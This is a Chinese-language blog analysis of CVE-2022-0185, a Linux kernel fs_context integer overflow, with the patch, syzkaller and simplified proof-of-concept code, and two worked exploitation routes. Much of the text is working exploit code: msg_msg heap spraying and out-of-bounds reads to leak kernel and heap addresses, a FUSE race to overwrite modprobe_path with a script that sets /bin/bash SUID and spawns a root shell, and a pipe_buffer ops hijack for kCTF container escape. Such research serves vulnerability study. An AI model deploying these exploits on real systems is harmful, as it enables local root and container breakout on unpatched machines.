CVE-2022-0185 价值$3w的 File System Context 内核整数溢出漏洞利用分析
文章目錄
- 1. 漏洞發(fā)現(xiàn)
- 2. 漏洞分析
- 3. 漏洞利用方法1—任意寫篡改 `modprobe_path`
- 3-1 泄露內(nèi)核基址
- 3-2 任意地址寫思路
- 3-3 FUSE 頁(yè)錯(cuò)誤處理
- 3-4 完整利用
- 3-5 改進(jìn)exploit
- 4. 漏洞利用方法2—KCTF 提權(quán)
- 4-1 泄露堆地址
- 4-2 篡改 `pipe_buffer->ops`
- 4-3 ROP 構(gòu)造并提權(quán)
- 4-4 改進(jìn)exploit
- 參考
本漏洞作者在kctf環(huán)境上成功完成了提權(quán)和逃逸,并獲得了 google kCTF vulnerability reward program 項(xiàng)目獎(jiǎng)勵(lì)的 31,337 美金的獎(jiǎng)勵(lì)(該項(xiàng)目對(duì)能從有 nsjail 沙箱的Linux內(nèi)核提權(quán),獎(jiǎng)勵(lì)31,337 到 91,337 美元,由于syzbot平臺(tái)上有人比作者早6天先發(fā)現(xiàn)了這個(gè)漏洞,作者并非首次發(fā)現(xiàn)該漏洞,只是完成了kctf提權(quán),便獲得了最低獎(jiǎng)金)。
影響版本:Linux-v5.1~v5.16.2。5.1-rc1 引入漏洞,Linux-v5.16.2已修補(bǔ) ,由syzkaller發(fā)現(xiàn)。評(píng)分8.4分
測(cè)試版本:Linux-5.16.1(失敗,msg_msg 和漏洞對(duì)象位于不同cache) Linux-5.11.22(成功) exploit及測(cè)試環(huán)境下載地址—https://github.com/bsauce/kernel-exploit-factory
編譯選項(xiàng):
CONFIG_CHECKPOINT_RESTORE, CONFIG_USER_NS, CONFIG_FUSE, CONFIG_SYSVIPC, CONFIG_USERFAULTFD
在編譯時(shí)將.config中的CONFIG_E1000和CONFIG_E1000E,變更為=y。參考
$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-5.16.1.tar.xz $ tar -xvf linux-5.16.1.tar.xz # KASAN: 設(shè)置 make menuconfig 設(shè)置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。 $ make -j32 $ make all $ make modules # 編譯出的bzImage目錄:/arch/x86/boot/bzImage。漏洞描述:內(nèi)核的 File System Context 模塊(文件系統(tǒng)環(huán)境)的fs/fs_context.c文件中存在整數(shù)溢出導(dǎo)致堆溢出。攻擊者必須具備 CAP_SYS_ADMIN 權(quán)限,或者使用命名空間或者使用unshare(CLONE_NEWNS|CLONE_NEWUSER) (等同于命令$ unshare -Urm)來(lái)進(jìn)入含有CAP_SYS_ADMIN權(quán)限的命名空間。docker中默認(rèn)沒(méi)有CAP_SYS_ADMIN權(quán)限(啟用容器時(shí)需使用 “-privileged” 選項(xiàng)),且docker的seccomp過(guò)濾會(huì)默認(rèn)攔截 unshare 命令,所以docker中無(wú)法利用;但是 Kubernetes 集群在使用docker時(shí),seccomp 過(guò)濾默認(rèn)是禁用的,可以提權(quán)和逃逸。
補(bǔ)丁:patch
diff --git a/fs/fs_context.c b/fs/fs_context.c index b7e43a780a625..24ce12f0db32e 100644 --- a/fs/fs_context.c +++ b/fs/fs_context.c @@ -548,7 +548,7 @@ static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)param->key);}- if (len > PAGE_SIZE - 2 - size) + if (size + len + 2 > PAGE_SIZE)return invalf(fc, "VFS: Legacy: Cumulative options too large");if (strchr(param->key, ',') ||(param->type == fs_value_is_string &&保護(hù)機(jī)制:KASLR / SMEP / SMAP / KPTI。
利用總結(jié):
方法一:兩次觸發(fā)漏洞。缺點(diǎn)是一般普通用戶的話,FUSE不一定可用。
- (1)先利用溢出修改 msg_msg->m_ts 泄露內(nèi)核基址(越界讀取 kmalloc-32 中的 seq_operations 結(jié)構(gòu));
- (2)再利用FUSE 用戶頁(yè)錯(cuò)誤處理 和溢出篡改 msg_msg->next 實(shí)現(xiàn)任意地址寫,篡改 modprobe_path 提權(quán)。
方法二:缺點(diǎn)是需要三次觸發(fā)漏洞,堆噴不穩(wěn)定。
- (1)先利用溢出修改 msg_msg->m_ts 泄露內(nèi)核基址(越界讀取 kmalloc-32 中的 seq_operations 結(jié)構(gòu));
- (2)泄露堆地址:構(gòu)造queue1中 kmalloc-4k <-> kmalloc-64,queue2中 kmalloc-1k <-> kmalloc-64 <-> kmalloc-512 。觸發(fā)溢出漏洞,改大 kmalloc-4k 中的 msg_msg->m_ts 來(lái)越界讀取 msg->m_list.next & prev,也即 kmalloc-1024 和 kmalloc-512 的地址;
- pipe_buffer 占據(jù) kmalloc-1024;
- kmalloc-512 上布置 stack pivot gadget (偽造 pipe_buffer->ops 函數(shù)表);
- (3)觸發(fā)溢出修改 msg_msg->next = &kmalloc-1024 - 0x30,構(gòu)造任意釋放,利用 msg_msg 堆噴偽造 pipe_buffer->ops 并布置 ROP chain 提權(quán)。
1. 漏洞發(fā)現(xiàn)
syzkaller報(bào)錯(cuò):通過(guò)syzkaller發(fā)現(xiàn)一個(gè)報(bào)錯(cuò)。
BUG: KASAN: slab-out-of-bounds in legacy_parse_param+0x450/0x640 fs/fs_context.c:569 Write of size 1 at addr ffff88802d7d9000 by task syz-executor.12/386100CPU: 3 PID: 386100 Comm: syz-executor.12 Not tainted 5.14.0 #1 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014 Call Trace:legacy_parse_param+0x450/0x640 fs/fs_context.c:569vfs_parse_fs_param+0x1fd/0x390 fs/fs_context.c:146vfs_fsconfig_locked+0x177/0x340 fs/fsopen.c:265__do_sys_fsconfig fs/fsopen.c:439 [inline] [ ... ] The buggy address belongs to the object at ffff88802d7d8000which belongs to the cache kmalloc-4k of size 4096 The buggy address is located 0 bytes to the right of4096-byte region [ffff88802d7d8000, ffff88802d7d9000)漏洞對(duì)象位于 kmalloc-4096,legacy_parse_param() 函數(shù)導(dǎo)致OOB write,syzkaller生成了一個(gè)poC:
#define _GNU_SOURCE #include <endian.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/syscall.h> #include <sys/types.h> #include <unistd.h> #ifndef __NR_fsconfig #define __NR_fsconfig 431 #endif #ifndef __NR_fsopen #define __NR_fsopen 430 #endif uint64_t r[1] = {0xffffffffffffffff}; int main(void) {syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);intptr_t res = 0;memcpy((void*)0x20000000, "9p\000", 3);res = syscall(__NR_fsopen, 0x20000000ul, 0ul);if (res != -1)r[0] = res;memcpy((void*)0x20001c00, "\000\000\344]\233", 5);memcpy((void*)0x20000540, "<long string>", 641);syscall(__NR_fsconfig, r[0], 1ul, 0x20001c00ul, 0x20000540ul, 0ul);int i;for(i = 0; i < 64; i++) {syscall(__NR_fsconfig, r[0], 1ul, 0x20001c00ul, 0x20000540ul, 0ul);}memset((void*)0x20000040, 0, 1);memcpy((void*)0x20000800, "<long string>", 641);syscall(__NR_fsconfig, r[0], 1ul, 0x20000040ul, 0x20000800ul, 0ul);for(i = 0; i < 64; i++) {syscall(__NR_fsconfig, r[0], 1ul, 0x20000040ul, 0x20000800ul, 0ul);}return 0; }PoC美化:這段PoC看上去很難理解,還包含一些無(wú)關(guān)的調(diào)用,只能通過(guò)人工分析來(lái)去除無(wú)關(guān)代碼。例如,mmap映射了很多區(qū)域,但只用到了0x20000000ul,所以可以去掉無(wú)關(guān)的mmap調(diào)用;uint64_t r[1] = {0xffffffffffffffff}; 實(shí)際上就是 int r = -1;還要將地址轉(zhuǎn)化為變量或常量,有的調(diào)用 memcpy() 將 9P 字符串拷貝到buffer并將該buffer傳給syscall,實(shí)際上我們可以直接傳字符串即可,不需要這么復(fù)雜,最終轉(zhuǎn)化為以下代碼:
int r = -1; int main(void) {int res = 0;res = syscall(__NR_fsopen, "9p", 0ul);if (res != -1)r = res; }經(jīng)過(guò)很多分析,對(duì)比input和相關(guān)內(nèi)核函數(shù),最終生成一個(gè)簡(jiǎn)化的PoC:調(diào)用 fsconfig 需傳入 FSCONFIG_SET_STRING 和兩個(gè)字符串 key / value,value必須以NULL結(jié)尾,最后一個(gè)參數(shù)必須為0
#define _GNU_SOURCE #include <sys/syscall.h> #include <stdio.h> #include <stdlib.h> #ifndef __NR_fsconfig #define __NR_fsconfig 431 #endif #ifndef __NR_fsopen #define __NR_fsopen 430 #endif #define FSCONFIG_SET_STRING 1 #define fsopen(name, flags) syscall(__NR_fsopen, name, flags) #define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux) int main(void) { char* key = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";int fd = 0;fd = fsopen("9p", 0);for (int i = 0; i < 130; i++) { fsconfig(fd, FSCONFIG_SET_STRING, "\x00", key, 0);} }2. 漏洞分析
漏洞函數(shù)調(diào)用路徑:__x64_sys_fsconfig() -> vfs_fsconfig_locked() -> vfs_parse_fs_param() -> legacy_parse_param()
注意 vfs_parse_fs_param() 中函數(shù)指針定義在 legacy_fs_context_ops 函數(shù)表中,在 alloc_fs_context() 函數(shù)中完成filesystem context 結(jié)構(gòu)的分配和初始化。
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param) {struct legacy_fs_context *ctx = fc->fs_private; // [1] ctx 與文件描述符相關(guān)unsigned int size = ctx->data_size; // [2] size —— 目前已經(jīng)寫入 buffer 的長(zhǎng)度size_t len = 0;int ret;[ ... ]switch (param->type) {case fs_value_is_string:len = 1 + param->size; // [3] len = strlen(key) + 1 + strlen(value) 將要寫入的長(zhǎng)度, 對(duì)應(yīng)到 mount option string key=valuecase fs_value_is_flag:len += strlen(param->key);break;default:return invalf(fc, "VFS: Legacy: Parameter type for '%s' not supported", param->key);}if (len > PAGE_SIZE-2-size) return invalf(fc, "VFS: Legacy: Cumulative options too large"); // [4] 邊界檢查, 避免溢出[ ... ]if (!ctx->legacy_data) {ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL); // [5] 首次分配 4096 字節(jié)緩沖區(qū)if (!ctx->legacy_data) return -ENOMEM;}ctx->legacy_data[size++] = ','; // [6] 開(kāi)始往 buffer 寫數(shù)據(jù), 先寫個(gè)逗號(hào), 再寫 key, 再寫 等號(hào), 再寫 value, 最后結(jié)尾寫 NULL, 保存新的sizelen = strlen(param->key);memcpy(ctx->legacy_data + size, param->key, len);size += len;if (param->type == fs_value_is_string) {ctx->legacy_data[size++] = '=';memcpy(ctx->legacy_data + size, param->string, param->size);size += param->size;}ctx->legacy_data[size] = '\0';ctx->data_size = size;ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;return 0; }9p / ext4 觸發(fā):fsopen() 打開(kāi)一個(gè)文件系統(tǒng)環(huán)境,用戶可以用來(lái)mount新的文件系統(tǒng)。 9p (the Plan 9 filesystem)是一種文件系統(tǒng),能觸發(fā)本文漏洞,Linux中常用的ext4文件系統(tǒng)也能觸發(fā)本漏洞(本文就是利用ext4來(lái)觸發(fā)漏洞)。fsconfig() 調(diào)用能讓我們往ctx->legacy_data 寫入一個(gè)新的 (key,value),ctx->legacy_data 指向一個(gè) 4096 字節(jié)的緩沖區(qū)(在首次配置文件系統(tǒng)時(shí)就進(jìn)行分配)。
漏洞分析:[4] 處 len > PAGE_SIZE-2-size, len是將要寫的長(zhǎng)度,PAGE_SIZE == 4096 ,size 是已寫的長(zhǎng)度,2字節(jié)表示一個(gè)逗號(hào)和一個(gè)NULL終止符。 問(wèn)題在于采用減法來(lái)進(jìn)行檢查,size是unsigned int (總是被當(dāng)做正值),會(huì)導(dǎo)致整數(shù)溢出,如果相減的結(jié)果小于0,還是會(huì)被包裝成一個(gè)正值。 如果117次添加長(zhǎng)度為0的key和長(zhǎng)度為33的value,最終的size則為(117*(33+2)) == 4095,這樣PAGE_SIZE-2-size == -1 == 18446744073709551615 ,這樣無(wú)論len多大都能滿足條件。key設(shè)置為 \x00,這樣逗號(hào)會(huì)寫入偏移4095,等號(hào)寫入下一個(gè)kmalloc-4096的偏移0處,接著就能往偏移1處開(kāi)始往后寫value。
漏洞限制:key和value都是string類型,會(huì)產(chǎn)生\x00截?cái)唷?梢圆捎胿alue來(lái)偽造 msg_msg->m_ts;只有采用key來(lái)偽造msg_msg->m_list.next。因?yàn)?value 只能從鄰近堆塊(kmalloc-4096)的偏移1處開(kāi)始覆蓋,因?yàn)榈?個(gè)逗號(hào) , 會(huì)寫在漏洞對(duì)象的偏移 4095,等號(hào)會(huì)寫在鄰近堆塊的偏移0處,所以如果要正確偽造 msg_msg->m_list.next,則只能利用key來(lái)傳值。
3. 漏洞利用方法1—任意寫篡改 modprobe_path
3-1 泄露內(nèi)核基址
泄露內(nèi)核基址:噴射大量 seq_operations —— open(“/proc/self/stat”, O_RDONLY) ,溢出篡改 msg_msg->m_ts 泄露地址。具體步驟如下。
- (1)準(zhǔn)備 fs_context 漏洞對(duì)象;
- (2)往 kmalloc-32 噴射 seq_operations 對(duì)象;
- (3)噴射 msg_msg 消息 (大小為 0xfe8),會(huì)將輔助消息分配在 kmalloc-32;
- (4)觸發(fā) kmalloc-4096 溢出,篡改 msg_msg->m_ts;
- (5)利用 msg_msg 越界讀。泄露內(nèi)核指針。
3-2 任意地址寫思路
任意寫:利用競(jìng)爭(zhēng)條件。
- (1)分配第1個(gè)消息塊;
- (2)拷貝第1個(gè)消息,觸發(fā)頁(yè)錯(cuò)誤暫停;
- (3)分配第2個(gè)消息塊;
- (4)覆蓋第1個(gè)消息的next指針;
- (5)我們的數(shù)據(jù)被拷貝到next指針指向的地址。
我們要確保(4)發(fā)生在(5)之前,可以用 userfaultfd,但是5.11版本以后就無(wú)法在用戶層處理內(nèi)核層的頁(yè)錯(cuò)誤了;還有種方法是利用FUSE。
3-3 FUSE 頁(yè)錯(cuò)誤處理
FUSE簡(jiǎn)介:內(nèi)核允許用戶實(shí)現(xiàn)自己的用戶態(tài)文件系統(tǒng)(Filsystem in USErspace),有自己的read / write 系統(tǒng)調(diào)用,這樣發(fā)生缺頁(yè)時(shí)還是會(huì)回到用戶態(tài)來(lái)處理中斷。我們可以實(shí)現(xiàn)一個(gè)迷你的 FUSE 文件系統(tǒng)(通過(guò)和/dev/fuse交互),打開(kāi)并調(diào)用mmap映射到內(nèi)存,將返回地址傳到內(nèi)核,當(dāng)內(nèi)核嘗試讀取FUSE中的地址時(shí),會(huì)調(diào)用我們定義的 read 處理函數(shù),為了只在讀第一個(gè)4096堆塊數(shù)據(jù)之后觸發(fā)頁(yè)錯(cuò)誤,我們將分配兩塊內(nèi)存,第一塊是常規(guī)內(nèi)存,第2塊是FUSE相關(guān)的。
問(wèn)題:一是FUSE要求我們非特權(quán)用戶能訪問(wèn) /bin/fusermount,通過(guò)unshare能繞過(guò)該限制;二是用戶需要寫個(gè) libfuse 庫(kù)使 libfuse 函數(shù)正常工作,但是 libfuse 很難靜態(tài)鏈接 (見(jiàn) issue,因?yàn)橐蕾囉?dl_open)作者直接移除了所有對(duì) dl_open 的引用,并重新編譯了 libfuse 庫(kù),這樣FUSE技術(shù)就能應(yīng)用于所有開(kāi)啟 CONFIG_FUSE 的內(nèi)核了。
void *evil_page = mmap(0x1337000, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0); uint64_t race_page = 0x1338000; puts("[*] Preparing fault handlers via FUSE"); int evil_fd = open("evil/evil", O_RDWR); if (evil_fd < 0) {perror("evil fd failed");exit(-1); } if ((mmap(0x1338000, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, evil_fd, 0)) != 0x1338000) {perror("mmap fail fuse 1");exit(-1); }3-4 完整利用
總體利用步驟:
- (1)打開(kāi)pipe對(duì),兩個(gè)進(jìn)程共享一塊可發(fā)送數(shù)據(jù)的內(nèi)存,可用于同步(保證篡改msg_msg->next 之后再處理用戶頁(yè)錯(cuò)誤,繼續(xù)拷貝以篡改 modprobe_path);
- (2)在exp中fork出子進(jìn)程用于運(yùn)行FUSE,處理文件系統(tǒng)請(qǐng)求;
- (3)泄露內(nèi)核基址(見(jiàn) 3-1 地址泄露步驟);
- (4)open/mmap evil file(將fusefd映射到地址0x1338000,這樣msg copy 訪問(wèn)到該地址時(shí)觸發(fā)頁(yè)錯(cuò)誤處理);
- (5)準(zhǔn)備堆溢出,調(diào)用 fsopen 和 fsconfig;
- (6)創(chuàng)建子線程溢出覆蓋 next 指針;
- (7)同時(shí),主線程觸發(fā) msg_send,讓步于FUSE代碼來(lái)處理頁(yè)錯(cuò)誤;
- (8)FUSE在共享pipe上調(diào)用read,觸發(fā)阻塞,直到有字節(jié)寫入pipe;
- (9)到這里,溢出線程寫入pipe(表示 msg_msg->next 已被篡改),導(dǎo)致FUSE釋放,線程將惡意數(shù)據(jù)拷貝到目標(biāo)地址。
寫目標(biāo):modprobe_path。
char *modprobe_win = "/tmp/w"; #define SHELL "/bin/bash" [ ... ] void modprobe_init() {int fd;[ ... ]char w[] = "#!/bin/sh\nchmod u+s " SHELL "\n";chmod(modprobe_trigger, 0777);fd = open(modprobe_win, O_RDWR | O_CREAT);if (fd < 0) {perror("winner creation failed");exit(-1);}write(fd, w, sizeof(w));close(fd);chmod(modprobe_win, 0777);return; }觸發(fā) modprobe_path:執(zhí)行一個(gè)含未知字節(jié)的binary,內(nèi)核就會(huì)利用modprobe去尋找一個(gè)module來(lái)加載該binary。
// 內(nèi)核源碼 do_execve return do_execveat_common(fd, filename, argv, envp, flags); do_execveat_common retval = bprm_execve(bprm, fd, filename, flags); bprm_execve retval = exec_binprm(bprm); exec_binrpm ret = search_binary_handler(bprm); search_binary_handler if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0) request_module ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC); call_modprobe static int call_modprobe(char *module_name, int wait) {struct subprocess_info *info;static char *envp[] = {"HOME=/","TERM=linux","PATH=/sbin:/usr/sbin:/bin:/usr/bin",NULL};char **argv = kmalloc(sizeof(char *[5]), GFP_KERNEL);module_name = kstrdup(module_name, GFP_KERNEL);argv[0] = modprobe_path; // <--- overwritten!argv[1] = "-q";argv[2] = "--";argv[3] = module_name;argv[4] = NULL;info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL, NULL, free_modprobe_argv, NULL);return call_usermodehelper_exec(info, wait | UMH_KILLABLE); }// exp 中代碼 char *modprobe_trigger = "/tmp/root"; void modprobe_init() {int fd = open(modprobe_trigger, O_RDWR | O_CREAT);char root[] = "\xff\xff\xff\xff";write(fd, root, sizeof(root));close(fd);chmod(modprobe_trigger, 0777);[ ... ] } void modprobe_hax() {puts("[*] Attempting to trigger modprobe");execve(modprobe_trigger, NULL, NULL); } To finish up, we repeatedly attempt to trigger the overwrite and trigger modprobe_path. We can verify if it has succeeded by checking the permissions on /bin/bash: while (1) {do_win();modprobe_hax();struct stat check;// Get permissions on filestat(SHELL, &check);if (check.st_mode & S_ISUID) {break;} } puts("[*] Exploit success! " SHELL " is SUID now!"); puts("[+] Popping shell"); execve(SHELL, root_argv, NULL);問(wèn)題:原作者的測(cè)試環(huán)境是Ubuntu-20.04,但在我編譯的環(huán)境中(版本v5.16.1),堆噴非常不穩(wěn)定,需要改善堆噴策略。我沿用了 CVE-2021-42008的策略還是不行,不能確保漏洞對(duì)象的后面跟著一個(gè) kmalloc-4096 的 msg_msg ,發(fā)現(xiàn) msg_msg 和漏洞對(duì)象總是位于不同的cache,很奇怪。希望有大佬能弄清為什么,玄學(xué)!
換了個(gè)版本 v5.11.22,偶然成功了一次(成功賦予了busybox s權(quán)限),調(diào)試后發(fā)現(xiàn) msg_msg 和漏洞對(duì)象可以位于同一cache:
3-5 改進(jìn)exploit
改進(jìn)提權(quán)方式:原先只是給 /bin/su 加了個(gè)suid,現(xiàn)在直接提權(quán)。
改進(jìn)堆噴策略:原先在篡改 msg_msg->next 時(shí),每次嘗試,都先申請(qǐng)1個(gè)漏洞對(duì)象,然后再申請(qǐng)1個(gè) msg_msg 對(duì)象,很難碰撞到 msg_msg 恰好在漏洞對(duì)象后面的情況。現(xiàn)在我一次申請(qǐng)10個(gè)漏洞對(duì)象,然后再申請(qǐng)1個(gè) msg_msg 對(duì)象,10次溢出總有一次能成功篡改 msg_msg->next 吧。果然,只要幾次嘗試就能成功篡改 modprobe_path:
for (int i = 0; i < 0xa; i++){fdv[i] = fsopen("ext4", 0);if (fdv[i] < 0) {puts("Opening");exit(-1);}for (int j = 0; j < 117; j++) fsconfig(fdv[i], FSCONFIG_SET_STRING, "\x00", pat, 0);}4. 漏洞利用方法2—KCTF 提權(quán)
說(shuō)明一下,作者用在KCTF環(huán)境上的提權(quán)方法,在普通系統(tǒng)上也能使用,我覺(jué)得這種方法更好一點(diǎn),因?yàn)橛行┫到y(tǒng)上不一定有userfault和fuse權(quán)限。
KCTF要求:有兩種要求,一是kctf,在容器上提權(quán)并讀取flag,二是fullchain,在容器上提權(quán),逃逸到host,再讀取另一個(gè)容器的flag。
KCTF難點(diǎn):
- /dev 目錄東西很少,FUSE和一些結(jié)構(gòu)如 tty_struct 不能使用,userfault 也被禁用,有很多4k的對(duì)象,所以需要調(diào)整堆噴策略。
- 另一個(gè)問(wèn)題是 GFP_KERNEL_ACCOUNT flag,這個(gè)flag用于標(biāo)記data來(lái)自用戶層的對(duì)象,例如 msg_msg,5.9以前,內(nèi)核會(huì)把這類對(duì)象放在單獨(dú)的slab(前提是設(shè)置 CONFIG_MEMCG_KMEM 編譯選項(xiàng))。其實(shí)本文涉及到的legacy漏洞對(duì)象也應(yīng)該用 accounting flag 進(jìn)行標(biāo)識(shí),可能是開(kāi)發(fā)者搞忘了,直到 commit for 5.16 才加上,這意味著在kctf這個(gè) 5.4 的老版本上不能使用 msg_msg 對(duì)象了,幸運(yùn)的是kctf最近將內(nèi)核更新到了 5.10,現(xiàn)在 msg_msg 對(duì)象可用了。(PS:Starlabs 團(tuán)隊(duì)的 n0psledbyte 曾在老版本的kctf環(huán)境上用 msg_msg 來(lái)實(shí)現(xiàn) cross cache overflow,該策略可以參考 grsecurity 的這篇文章 —— article)
利用方法選擇:由于環(huán)境限制,不能用 msg_msg 實(shí)現(xiàn)任意寫了,現(xiàn)在可以采用 msg_msg 提供的 unlink 原語(yǔ) 或者 任意釋放原語(yǔ)。最后打算篡改 pipe_buffer 的函數(shù)表指針指向某個(gè) msg_msg chunk (參考 CVE-2021-22555 的方法)。
小trick:salt 工具便于調(diào)試內(nèi)核堆。首先,調(diào)用set_affility() 綁定到一個(gè)CPU核上運(yùn)行(因?yàn)槊總€(gè)CPU都有自己的freelist),以下策略是針對(duì)kCTF環(huán)境的:
- 提前堆噴很多 msg_msg ,適時(shí)的釋放部分 msg_msg 來(lái)利用;
- 從 fsconfig 溢出 msg_msg 之前,先分配4到7個(gè) msg_msg(因?yàn)?kmalloc-4k slab中只有8個(gè)對(duì)象),再對(duì)其中一個(gè) msg_msg 觸發(fā) MSG_COPY,會(huì)在copy時(shí)對(duì)同一slab進(jìn)行分配和釋放,這樣就會(huì)在slab中產(chǎn)生一個(gè)hole,下一次分配legacy對(duì)象時(shí)就會(huì)占據(jù)這個(gè)hole。
4-1 泄露堆地址
堆地址泄露: msg_queue 會(huì)把 msg_msg 以雙鏈表串起來(lái),可以分配兩個(gè)queue,queue1中 kmalloc-4k <-> kmalloc-64,queue2中 kmalloc-1k <-> kmalloc-64 <-> kmalloc-512 ,利用 OOB read 來(lái)泄露 kmalloc-512 和 kmalloc-1k 對(duì)象的地址(也就是 kmalloc-64 的 msg_msg->m_list.next / prev),如下圖所示:
利用堆溢出篡改 queue1 中 kmalloc-4k 的 msg_msg->m_ts 并采用 MSG_COPY 進(jìn)行 OOB read
可以根據(jù) msg_msg 包含的內(nèi)容來(lái)判斷泄露的地址屬于哪一個(gè) msg_queue,這樣就能選擇性的釋放并噴射 pipe_buffer 對(duì)象占據(jù) kmalloc-1k,在 kmalloc-512 上布置 stack pivot gadget。
以下代碼可以泄露堆地址:
double_heap_leaks do_heap_leaks() {uint64_t kmalloc_1024 = 0;uint64_t kmalloc_512 = 0;char pivot_spray[0x2000] = {0};uint64_t *pivot_spray_ptr = (uint64_t *)pivot_spray;double_heap_leaks leaks = {0};int linked_msg[256] = {0};char pat[0x1000] = {0};char buffer[0x2000] = {0}, recieved[0x2000] = {0};msg *message = (msg *)buffer;// spray kmalloc-512 linked to kmalloc-64 linked to kmalloc-1k in unique msg queuesfor (int i = 0; i < 255; i++) {linked_msg[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);memset(pivot_spray, 0x0, sizeof(pivot_spray));pivot_spray_ptr[0] = 1;for (int i = 0; i < 10;i ++){pivot_spray_ptr[i+1] = stack_pivot;}// spray pivots using kmalloc-512 allocationssend_msg(linked_msg[i], pivot_spray, 0x200 - 0x30, 0);memset(buffer, 0x1+i, sizeof(buffer));message->mtype = 2;send_msg(linked_msg[i], message, 0x40 - 0x30, 0);message->mtype = 3;send_msg(linked_msg[i], message, 0x400 - 0x30 - 0x40, 0);}int size = 0x1038;int targets[H_SPRAY] = {0};for (int i = 0; i < H_SPRAY; i++) {memset(buffer, 0x41+i, sizeof(buffer));targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);send_msg(targets[i], message, size - 0x30, 0);}// create hole hopefullyget_msg(targets[0], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);puts("[*] Opening ext4 filesystem");fd = fsopen("ext4", 0);if (fd < 0) {puts("fsopen: Remember to unshare");exit(-1);}strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");for (int i = 0; i < 117; i++) {fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);}// fill it a bit to help prevent potential crashes on MSG_COPYstuff_4k(16);puts("[*] Overflowing...");pat[21] = '\x00';char evil[] = "\x60\x19";fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);puts("[*] Done heap overflow");size = 0x1960;puts("[*] Receiving corrupted size and leak data");// go through all targets qids and check if we hopefully get a leakfor (int i = 0; i < H_SPRAY; i++) {get_msg(targets[i], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);for (int j = 0x202; j < 0x202 + (0x1960-0x1010) / 8; j++){uint64_t *dump = (uint64_t *)recieved;if (dump[j] == 0x2 && dump[j+1] == 0x10 && dump[j+4] == dump[j+5]){kmalloc_1024 = dump[j-2];kmalloc_512 = dump[j-1];// delete chunk 1024, chunk 512 already has sprayed pivotsuint8_t target_idx = (dump[j+4] & 0xff) - 1;get_msg(linked_msg[target_idx], recieved, 0x400 - 0x30, 3, IPC_NOWAIT | MSG_NOERROR);// spray to replace with pipe_buffer, thanks LIFO!for (int k = 0; k < PIPES; k++){if (pipe(pipefd[k]) < 0){perror("pipe failed");exit(-1);}write(pipefd[k][1], "pwnage", 7);}break;}}if (kmalloc_1024 != 0){break;}}close(fd);if (!kmalloc_1024){puts("[X] No leaks, trying again");stuff_4k(16);return leaks;}leaks.kmalloc_1024_leak = kmalloc_1024;leaks.kmalloc_512_leak = kmalloc_512;return leaks; }有了這些信息,就能控制 pipe_buffer->ops。
4-2 篡改 pipe_buffer->ops
方法一unlink:作者首先嘗試了unlink attack,在 do_msgrcv() 中,不指定 MSG_COPY 就會(huì)執(zhí)行 unlink operation ,直觀來(lái)說(shuō)就是執(zhí)行 victim->prev->next = victim->next 和 victim->next->prev = victim->prev,如果設(shè)置 victim->prev 指向 pipe_buffer->ops 的位置,設(shè)置victim->next 指向 kmalloc-512 內(nèi)部(可控),這樣就能將 pipe_buffer->ops 篡改指向偽造的函數(shù)表,unlink流程如下所示:
問(wèn)題-unlink check:內(nèi)核開(kāi)啟了 CONFIG_DEBUG_LIST ,會(huì)調(diào)用 __list_del_entry_valid() 對(duì)unlink進(jìn)行檢查,檢查不通過(guò)則不會(huì)進(jìn)行unlink(但還是會(huì)進(jìn)行釋放,原來(lái)的指針會(huì)被設(shè)置為 POISON 值)
bool __list_del_entry_valid(struct list_head *entry) {struct list_head *prev, *next;prev = entry->prev;next = entry->next;if (CHECK_DATA_CORRUPTION(next == LIST_POISON1,"list_del corruption, %px->next is LIST_POISON1 (%px)\n",entry, LIST_POISON1) ||CHECK_DATA_CORRUPTION(prev == LIST_POISON2,"list_del corruption, %px->prev is LIST_POISON2 (%px)\n",entry, LIST_POISON2) ||CHECK_DATA_CORRUPTION(prev->next != entry,"list_del corruption. prev->next should be %px, but was %px\n",entry, prev->next) ||CHECK_DATA_CORRUPTION(next->prev != entry,"list_del corruption. next->prev should be %px, but was %px\n",entry, next->prev))return false;return true; }方法二任意釋放:但我們已經(jīng)泄露了堆地址,即使unlink失敗了也可以將鏈表指針改為有效的值,繼續(xù)覆寫 msg_msg->next 指針和 msg_msg->security 指針來(lái)構(gòu)造任意釋放。由于payload必須為有效的字符串,我們可以根據(jù)泄露的堆地址進(jìn)行非對(duì)齊釋放( msg_msg->next = &kmalloc-1k - 0x20 / msg_msg->security = &kmalloc-512 - 0x20 ,關(guān)鍵是釋放前者,后者不重要),釋放 &kmalloc-1k - 0x20 之后,再分配一個(gè) kmalloc-1k 大小的 msg_msg 來(lái)篡改 pipe_buffer->ops 指向存放 stack pivot gadget 的地方,同時(shí)避免觸發(fā) hardened usercopy bound checks。
4k msg_msg 的偽造流程如下:
